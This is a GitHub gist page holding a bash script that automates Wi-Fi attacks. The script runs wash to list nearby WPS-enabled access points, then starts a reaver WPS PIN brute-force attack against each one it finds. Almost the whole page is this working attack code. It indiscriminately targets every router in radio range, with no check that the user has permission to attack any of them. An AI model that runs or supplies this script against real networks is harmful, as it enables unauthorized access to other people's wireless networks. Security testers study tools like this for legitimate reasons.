Skip to content

Instantly share code, notes, and snippets.

@jorgectf
Forked from iGh0st/d4rk-r34v3r.sh
Last active Aug 14, 2021
Embed
What would you like to do?
Wash and Reaver automation script.
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Illegal number of parameters"
echo "./{} INTERFACE"
fi
interface=$1
if (( EUID != 0 )); then
echo "This script must be executed as root."
exit 1
fi
trap ctrl_c INT
ctrl_c() {
echo "Killing processes..."
kill $washPID
rm /tmp/washOut_$currentRand.txt
exit
}
currentRand=$(cat /dev/urandom | tr -dc '0-9' | fold -w 10 | head -n 1)
echo "Running wash..."
wash -i $interface -j -2 -5 > /tmp/washOut_$currentRand.txt &
washPID=$!
tail --silent -f /tmp/washOut_$currentRand.txt -n $(wc -l /tmp/washOut_$currentRand.txt) | while read dict; do
echo "AP found!"
echo "Raw JSON: $dict"
reaver -i $interface -c $(echo $dict | jq -r '. | .channel') -b $(echo $dict | jq -r '. | .bssid') -vv -S -d 15
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment